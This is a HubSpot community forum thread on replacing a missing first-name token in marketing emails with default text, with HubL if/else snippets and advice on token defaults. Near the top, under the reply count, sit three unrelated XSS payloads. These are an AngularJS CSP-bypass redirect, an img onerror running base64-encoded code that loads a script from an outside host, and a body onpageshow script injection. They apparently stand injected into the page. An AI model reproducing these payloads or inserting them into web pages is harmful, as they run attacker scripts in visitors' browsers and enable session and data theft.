Replace First Name Contact in Email With A Default Text When There Isn't a First Name in the Contact


Hi there,


I am new to this community, so I do apoligize if this question has been asked and answered. I did a search, and I didn't quite find the answer I was looking for. I am a bit new to scripts and Hubspot so any guidance is greatly appreciated. 


My problem:

I recently created an email to send out, and the contact list that I have is over 5000. Not all of the 5000 contacts has a first name so when I sent out the email, the contact with a first name showed up as "Hi John," while the contacts without a first name had "Hi (blank),." I found an IF/Else script from another post, but it didn't quite work because it would say "Hey There" even when there was a first name in the contact email. The first name got override by the "Hey There" text that I entered in. I hope I explained it well. Please let me know if you have any questions.


Thank you!


This was the script I found on this Hubspot post

{% set fname = contact.firstname|default('') %}

{% if fname|list|length > 2 %}

Dear {{contact.firstname}},

{% else %}

Dear Valued Member,

{% endif %}

13 Replies 13

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//'"></textarea></div>

<noscript><p title="</noscript><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYW5kby54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(">



"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//\';d.body.appendChild(_)')">

Key Advisor

Thanks for the tag @jennysowyrda !




We typically use our tokens to match our businesses:


Hey Pet Parent,

Hey HubSpotter,

Hey members,


And so on, the beauty of the contact tokens is the personability, but even more so you can do it as defaults by moreso general terms for your audience!

Chris Bryant | Your Dedicated HubSpot Expert
Thought Leader

>>Replace First Name Contact in Email With A Default Text When There Isn't a First Name in the Contact


Welcome @Zoomi.

HubL Reference - If statementsHubL Reference - If statements

- see HubL Reference - If statements


Instead, you'll want to consider creating/changing the default value for your HubSpot Contact First Name personalization token to something like 'there'. That way, when the value is blank, the default will kick in and read something like ...


Hi there,

This message is just for you ...


- see Create default values for your personalization tokens


Note: Please search for recent posts as HubSpot evolves to be the #1 CRM platform of choice world-wide.


Hope that helps.


Be well,

Frank on LinkedIn

HubSpot's Hiring World-Wide!


Hi Frank,


Thank you so much for the helpful information! This helps a lot!


This next question may sound dumb, but I was wondering how I would setup "Hi," when there isn't a first name? Right now, I have Hello "Firstname" and I add a comma after "FirstName" so it looks like Hello FirstName,. What if I decide not to have a default value as "There" but I only want it to say "Hello,"(but I want the comma next to 'Hello') instead. Currently, when there isn't a FirstName, it shows up as "Hello ," how would I fix this issue?


Thank you again for your help!

- Kevin


I'd also like to know about this! This is an age-old issue with personalization, there MUST be a workaround.


I would like to know the solution for this issue as well!

Sometimes, instead of saying "Hi there," to people without a first name, it's probably better to simply say "Hi,".


In addition, what if when a contact's first is not in good writing, for example, john or jOHN instead of John. Many of our contacts' first name are like that. What do you guys do when your database in such lower quality?


Thank you.


I am preparing emails, and although we have recipients' FIRST NAME in their contact record, and the code is in the emails, the eamils never use it. So all emails say simply "Hi". This is not suitable, and although I have tried using HubSpot templates etc., cannot fix the problem. It's probably something simple, but would love to resolve ASAP.

Community Manager

Hi @ClassicSiam,


If you are still experiencing this issue, can you please share screenshots of what you are seeing and public links to where you are getting stuck? 


The more information, screenshots and details you can provide, the better the Community can assist!


Thank you,




I am also currently having this issue. My marketing email has "Dear Token: First Name" with the global default value setting on for "Friend" in lieu of the first name token. All of the emails I send only include the default Friend even though there is a First Name value. How do I resolve this issue? Thank you!

Community Manager

Hello @voke 


In Order for us to investigate more, could you please provide us an example that was sent friend but it had the first name in the property once the email was sent?


The more information, screenshots, and details you can provide, the better I can advise on the next steps.


Thank you,


Você sabia que a Comunidade está disponível em outros idiomas?
Participe de conversas regionais, alterando suas configurações de idioma !

Did you know that the Community is available in other languages?
Join regional conversations by changing your language settings !

Community Manager

To add my two cents here, even if you don't have a value for the default value, it would create a space between the hello and the comma ("hello ,"); if you are looking to use a personalization token, I would say it comes down to personal and brand preference for whether "hello there," / "hi friend" / "hi again" or "hi ," / "hello ," "dear ,".


@Bryantworks@MatthewShepherd@AM8 do you have any favorite personalization tokens for default values? 


Thank you,


Has a resolution been found regarding the issue of there being a space between Hi/Hello and the comma in the event that there's no first name? I see that several people raised the issue, but only saw workarounds discussed and no solutions.


Thanks so much,


Top Contributor

@jennysowyrda : Yep, I agree with you, if we do use a personalization token then there would be a space even if the default value is empty. 

As a company we usually just go with Dear , or Hello , and avoid using terms like Hi there,. 


Another workaround that I use is that sometimes based on the content, I drop the word Hi or Dear completely. I just start my email as: 


Congratulations on < Company Name > being named as one of the top 10 startups to look out for in 2019.  In the light of this development, I am sure you are facing the challenge of ..... blah blah blah 

@ClaireHsu : Bad data is a big issue. BIG! The only way to fix it is to implement data hygiene. But in the meantime you can try sending emails without personalization tokens. Just say Hi, or Hello, . 
Getting a name spelled wrong or typed in wrong formatting really kills the "human" aspect of the email and hurts the campaign. 

Hope this helps
Thank you.
#Did my post help answer your query? Help the Community by marking it as a solution.